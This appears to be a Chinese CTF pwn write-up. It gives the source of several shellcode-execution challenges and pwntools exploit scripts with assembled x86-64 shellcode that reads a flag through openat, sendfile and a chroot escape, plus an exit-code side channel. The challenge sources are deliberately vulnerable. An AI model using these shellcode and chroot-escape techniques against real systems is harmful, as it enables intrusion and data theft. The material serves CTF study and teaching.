for (i = 0, j = 0; i < length;) {
uint32_t octet_a = i < length ? input[i++] : 0;
uint32_t octet_b = i < length ? input[i++] : 0;
uint32_t octet_c = i < length ? input[i++] : 0;
uint32_t triple = (octet_a << 16) | (octet_b << 8) | octet_c;
output[j++] = base64_table[(triple >> 18) & 0x3F];
output[j++] = base64_table[(triple >> 12) & 0x3F];
output[j++] = base64_table[(triple >> 6) & 0x3F];
output[j++] = base64_table[triple & 0x3F];
}
// 添加填充字符
for (size_t k = 0; k < (3 - length % 3) % 3; k++) {
output[output_len - 1 - k] = '=';
}
output[output_len] = '\0';
return output;
}
// Base64解码函数
uint8_t* base64_decode(const char* input, size_t* out_length) {
size_t input_len = strlen(input);
// 计算输出长度(去掉填充字符)
size_t padding = 0;
if (input_len > 0) {
if (input[input_len - 1] == '=') padding++;
if (input[input_len - 2] == '=') padding++;
}
*out_length = (input_len * 3) / 4 - padding;
uint8_t* output = malloc(*out_length + 1);
if (!output) return NULL;
// 创建反向查找表
uint8_t reverse_table[256];
memset(reverse_table, 0xFF, sizeof(reverse_table)); // 初始化为无效值
// 填充反向查找表
for (int i = 0; i < 64; i++) {
reverse_table[(uint8_t)base64_table[i]] = i;
}
// 处理每4个字符为一组
size_t output_index = 0;
for (size_t i = 0; i < input_len; i += 4) {
// 获取4个Base64字符
uint8_t b0 = input[i];
uint8_t b1 = input[i+1];
uint8_t b2 = input[i+2];
uint8_t b3 = input[i+3];
// 转换为6位值
uint8_t v0 = reverse_table[b0];
uint8_t v1 = reverse_table[b1];
uint8_t v2 = (b2 == '=') ? 0 : reverse_table[b2];
uint8_t v3 = (b3 == '=') ? 0 : reverse_table[b3];
// 组合成24位数据
uint32_t triple = (v0 << 18) | (v1 << 12) | (v2 << 6) | v3;
// 拆分为3个8位字节
output[output_index++] = (triple >> 16) & 0xFF;
if (output_index < *out_length) {
output[output_index++] = (triple >> 8) & 0xFF;
}
if (output_index < *out_length) {
output[output_index++] = triple & 0xFF;
}
}
output[*out_length] = '\0';
return output;
}
int main(){
init();
welcome();
menu();
const char* target_encoded = "aGVsbG8sd2Fycmlvcg==";
char input[256];
printf("please input your answer,warrior\n");
fgets(input, sizeof(input), stdin);
size_t len = strlen(input);
if (len > 0 && input[len-1] == '\n') {
input[len-1] = '\0';
}
// 对用户输入进行编码
char* user_encoded = base64_encode((const uint8_t*)input, strlen(input));
if (user_encoded && strcmp(user_encoded, target_encoded) == 0) {
printf("\n\n");
puts("success!");
}
else{
exit(-1);
}
puts("start your show time,warrior!");
pid_t pid = fork();
if (pid < 0) {
perror("fork fail");
return EXIT_FAILURE;
}
if (pid > 0){
wait(NULL);
while (1) {}
return EXIT_SUCCESS;
}
// 子进程执行的逻辑
void* region1 = mmap((void*)0x1337000,0x1000,
3,
33,
-1,0);
void* region2 = mmap((void*)0x1338000,0x1000,
7,
33,
-1,0);
if (region1 == MAP_FAILED || region2 == MAP_FAILED) {
perror("mmap fail");
return(EXIT_FAILURE);
}
pthread_t thread;
if (pthread_create(&thread,NULL,thread_func,NULL) != 0){
perror("pthread_create fail");
exit(EXIT_FAILURE);
}
ssize_t bytes_read = read(STDIN_FILENO, region2, 0x1000); //不是这里的问题
size_t str_len = strlen((const char*)region2);
if (bytes_read > 0x87 || bytes_read != str_len) {
fprintf(stderr, "Invalid input length: %zu\n", bytes_read);
exit(EXIT_FAILURE);
}
if (mprotect(region2, 0x1000, 5) == -1) {
perror("mprotect fail");
exit(EXIT_FAILURE);
}
setup_seccomp();
// 安全执行 shellcode 的汇编代码
void (*shellcode)(void) = (void (*)(void))region2;
__asm__ volatile (
// 保存 shellcode 地址到非易失寄存器
"mov rax, %0\n\t"
// 清空通用寄存器(跳过 rbp)
"xor r14, r14\n\t"
"xor rbx, rbx\n\t"
"xor rcx, rcx\n\t"
"xor rdx, rdx\n\t"
"xor rsi, rsi\n\t"
"xor rdi, rdi\n\t"
// 跳过 rbp 清零! //
"xor r8, r8\n\t"
"xor r9, r9\n\t"
"xor r10, r10\n\t"
"xor r11, r11\n\t"
"xor r12, r12\n\t"
"xor r13, r13\n\t"
"xor r15, r15\n\t" // 注意跳过 r14
// 清空 XMM 寄存器
"pxor xmm0, xmm0\n\t"
"pxor xmm1, xmm1\n\t"
"pxor xmm2, xmm2\n\t"
"pxor xmm3, xmm3\n\t"
"pxor xmm4, xmm4\n\t"
"pxor xmm5, xmm5\n\t"
"pxor xmm6, xmm6\n\t"
"pxor xmm7, xmm7\n\t"
"pxor xmm8, xmm8\n\t"
"pxor xmm9, xmm9\n\t"
"pxor xmm10, xmm10\n\t"
"pxor xmm11, xmm11\n\t"
"pxor xmm12, xmm12\n\t"
"pxor xmm13, xmm13\n\t"
"pxor xmm14, xmm14\n\t"
"pxor xmm15, xmm15\n\t"
// 特殊处理 rbp:安全清零
"mov rbp, rsp\n\t" // 1. 将 rbp 设置为当前栈指针
"push r14\n\t" // 2. 保存地址到栈上
"xor r14, r14\n\t" // 3. 清零 r14
"xor rbp, rbp\n\t" // 4. 现在可以安全清零 rbp
// 清空段寄存器
"xor ebx, ebx\n\t"
"mov fs, bx\n\t"
"mov gs, bx\n\t"
// 清除方向标志
"cld\n\t"
// 从栈上恢复地址并跳转
"xor rsp, rsp\n\t"
"jmp rax\n\t"
:
: "r" (shellcode) // 输入约束保持不变
: "memory", "cc" // 只保留必要的修饰
);
return EXIT_SUCCESS;
}wp
这个需要不断微调,稳定在0x20的栈空间中进行操作
#!/usr/bin/python3
from pwn import *
#from LibcSearcher import *
from ctypes import *
from base64 import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#context(arch='mips',os='linux',endian='little',log_level='debug')
context.terminal = ['gnome-terminal','-x','sh','-c']
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
#libc_name = '/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'
host = 'node5.buuoj.cn'# 'node2.anna.nssctf.cn' #'1.95.36.136'
port = 1
contents = 1#5201314
pie = 1
def create_io():
elf = ELF(file_name)
# libc = None
libc = ELF(libc_name)
if contents == 1:
#io = gdb.debug('./pwn', 'set follow-fork-mode child\nb *$rebase(0x178d)\nc')
io = gdb.debug('./pwn', '''
set follow-fork-mode child
b fork
''')
#io = process(file_name)
#io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
def duan(*address):
pay = ''
if pie:
for i in address:
pay += 'b *$rebase(' + str(i) + ')' + '\n'
else:
for i in address:
pay += 'b *' + str(i) + '\n'
gdb.attach(io,pay)
# pause()
return io , duan , elf , libc
else:
io = remote(host,port)
elf = ELF(file_name)
libc = None# ELF('./libc.so.6')
return io,None,elf,libc
def main():
global io , duan ,elf,libc
io , duan ,elf,libc = create_io()
global pr,pl,sl,s,sa,rf,rt,r,ru,ri,it,sp,p,cl,lg,ra,rn,q,pr2
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
pr2= lambda x,y:success('\x1b[01;38;5;214m'+y+'='+hex(x)+'\x1b[0m')
pl = lambda x:success('\x1b[01;38;5;214m'+str(len(x))+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
sa = lambda x,y:io.sendlineafter(x,y)
rf= lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
rt = lambda x:io.recvuntil(x)
r = lambda x:io.recv(x)
ra = lambda : io.recv()
rn = lambda :u64(io.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00'))
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x:int(io.recv(x),16)
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.1)
p = lambda :pause()
cl = lambda :io.close()
lg = lambda :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )
def ak1():
rt("please input your answer,warrior")
sl("hello,warrior")
rt()
sd = '''
lea rbx, [rax-0x20]
mov rdi, rbx
mov al, 0x66
stosb
mov al, 0x6c
stosb
mov al, 0x61
stosb
mov al, 0x67
stosb
xor eax, eax
stosb
mov edi, 0xffffff9c
mov rsi, rbx
xor edx, edx
xor eax, eax
mov ax, 0x0101
syscall
mov r12d, eax
mov rdi, rbx
mov al, 0x16
syscall
mov edx, [rbx+4]
mov edi, r12d
xor esi, esi
xor r10d, r10d
xor r9d, r9d
xor eax, eax
mov al, 0x10
shl eax, 0x08
mov r8d, eax
xor eax, eax
mov ax, 0x0113
syscall
mov edi, [rbx]
xor esi, esi
xor r10d, r10d
xor r9d, r9d
xor edx, edx
inc edx
mov r8d, eax
xor eax, eax
mov ax, 0x0113
syscall
xor edi, edi
mov al, 0x3c
syscall
'''
sd = asm(sd)
pl(sd)
s(sd)
if __name__ == '__main__':
main()
#p()
ak1()
#p()
#ak1()
it()当时打了一个sendfile的题目
sd = '''
mov rsp,0x1337ff8
push -0x1
pop rdi
push -0x63
pop rsi
add rdi,rsi
mov eax, edi
mov rdi, rax
push 0x67616c66
pop rax
shl rax, 16
push 0x2f
pop r15
shl r15, 8
push 0x2e
pop r14
add rax,r15
add rax,r14
push rax
push rsp
pop rsi
mov rsp,0x1337fe0
pop rdx
mov rsp,0x1337fe0
pop rcx
push 85
pop rax
push 87
pop r15
push 85
pop r14
add rax,r15
add rax,r14
mov rbp,rsp
syscall
'''
sd +='''
mov rsp,0x1337ff8
push 1
pop rdi
push 4
pop rsi
mov rsp,0x1337fe0
pop r15
push 55
pop r10
push 40
pop rax
mov rsp,0x1337ff8
push rsp
pop rdx
syscall
'''
sd = asm(sd)
pl(sd)
s(sd)有一个更加简洁的
shell = asm('''
mov rax, 0x67616c662f2f2f2f
mov rsp, 0x1337FF0
push rax
xor rax, rax
mov ax, 257
mov rsi, rsp
syscall
mov edi, 0x1337FE0
mov al, 22
syscall
mov ax, 275
xor rdi, rdi
mov dil, 3
xor rsi, rsi
mov dl, 5
xor rcx, rcx
mov r8b, 0x20
syscall
mov ax, 275
mov dil, 4
mov dl, 1
syscall
''')难度削弱后的题目源码
源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
void *thread_func(void *arg){
memset((void *)0x6666000,0x90,0x100);
usleep(100);
}
void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void menu(){
puts("welcome to sdpcsec game");
}
void welcome(){
printf("Welcome to pwn!\n");
puts("this is a special challenge");
}
int main(){
init();
welcome();
menu();
pid_t pid = fork();
if(pid < 0){
perror("fork fail");
return EXIT_FAILURE;
}
if(pid > 0){
wait(NULL);
while(1){}
return EXIT_SUCCESS;
}
void *region1 = mmap((void *)0x6666000,0x1000,3,33,-1,0);
if(region1 == MAP_FAILED){
perror("mmap fail");
return EXIT_FAILURE;
}
pthread_t thread;
if(pthread_create(&thread,NULL,thread_func,NULL)!=0){
perror("pthread_create fail");
exit(EXIT_FAILURE);
}
ssize_t n = read(STDIN_FILENO,region1,0x1000);
if(mprotect(region1,0x1000,5)==-1){
perror("mprotect fail");
exit(EXIT_FAILURE);
}
void (*shellcode)() = (void (*)(void))region1;
shellcode();
puts("something error");
}chroot逃逸||exit侧信道
这道题,预想的是简单题来着,考点是最最最基础的chroot逃逸和exit侧信道shellcode。
首先是题目在fd为2的地方打开了真正的根目录,然后开启了chroot,这里利用openat(2,"flag",0)就可以就能访问到真正的flag
这里主要是利用了第一个参数的第二个特性,细节的考察了openat函数的作用
附件给出了一个run.sh,其中最后一句的echo $?可以打印上一个结束的进程的退出返回值,那么在shellcode当中我们就可以利用exit将flag逐字节回显出来
主动退出的同时,伪造好rdi的参数,就能完成打印
先贴一下exp
exp
from pwn import *
context.log_level = 'debug'
sc = asm('''
push 2
pop rdi
push 0x67616c66
push rsp
pop rsi
xor edx,edx
mov ax, 0x101
push rax
syscall
push rax
pop rdi
pop rdx
xor eax, eax
syscall
mov al, 0x3c
mov edi, dword ptr [rsp+1]
syscall
''', arch='amd64')
print(len(sc))
flag = ""
for i in range(30):
# r = process('./chtests')
r=remote('challenge.xinshi.fun',35427)
shellcode=bytearray(sc)
shellcode[-3]=i
shellcode=bytes(shellcode)
r.recvuntil(b'ur show time')
r.send(shellcode)
flag += chr(int(r.recvall().strip(b'\n')))#远程
r.wait()
# flag += chr(r.returncode)#本地
print(flag)
补充一下
int openat(int dirfd, const char *pathname, int flags, mode_t mode);1. dirfd 参数(文件描述符)
这是openat函数特有的参数,也是最核心的差异点:
- 作用:指定相对路径的起始位置
- 三种情况:
- 绝对路径:如果
pathname是绝对路径(如/home/user/file),则dirfd参数被忽略,openat等同于open函数 - 相对路径 + dirfd:如果
pathname是相对路径(如file.txt),且dirfd不是AT_FDCWD,则pathname将相对于dirfd指向的目录解析 - 相对路径 + AT_FDCWD:如果
pathname是相对路径,且dirfd为特殊值AT_FDCWD(值为-100),则pathname相对于当前工作目录解析,此时openat等同于open函数
2. pathname 参数(路径名)
- 要打开或创建的文件路径
- 可以是绝对路径(如
/home/user/file)或相对路径(如file.txt) - 如果是相对路径,其解析位置取决于
dirfd参数
3. flags 参数(标志)
- 用于指定文件打开方式和属性
- 常用标志:
O_RDONLY:只读打开O_WRONLY:只写打开O_RDWR:读写打开O_CREAT:如果文件不存在则创建O_EXCL:与O_CREAT一起使用,如果文件已存在则打开失败O_TRUNC:如果文件已存在,则将其截断为零长度O_APPEND:在文件末尾追加内容
4. mode 参数(权限模式,可选)
- 仅当使用
O_CREAT标志时才需要 - 指定新创建文件的权限
- 通常使用
0644(-rw-r--r--)或0755(-rwxr-xr-x)等 - 例如:
mode = 0640;表示创建文件权限为rw-r-----
题目源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main(){
init();
char buf[0x100];
puts("input your shellcode:");
read(0, buf, 0x200);
((void(*)())buf)();
return 0;
}纯字符shellcode源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stddef.h>
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,arch))),
BPF_JUMP(BPF_JMP| BPF_JEQ,AUDIT_ARCH_X86_64,0,3),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,nr))),
BPF_JUMP(BPF_JMP| BPF_JEQ,__NR_execve,1,0),
BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_KILL),
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
int sign = 0;
void sandbox(){
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
perror("prctl(NO_NEW_PRIVS)");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) < 0) {
perror("prctl(SECCOMP)");
exit(1);
}
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main(){
char buf[0x200];
int i = 0;
init();
sandbox();
memset(buf,0,0x200);
size_t n = read(0,buf,0x200);
for(i=0;i<=n;i++){
unsigned char ch = buf[i]; //解码
if(96<ch<97+26||64<ch<65+26||47<ch<48+10){
sign = 1;
break; //提前退出
}
}
if(sign){
puts("start your shellcode");
void (*func)() = (void (*)())buf;
func();
}
else{
puts("you have some error in your shellcode");
}
}本文深入解析寄存器使用、shellcode编写技巧及系统调用在CTF攻防中的实战应用。
由 AI 根据全文自动生成,仅供参考,以原文为准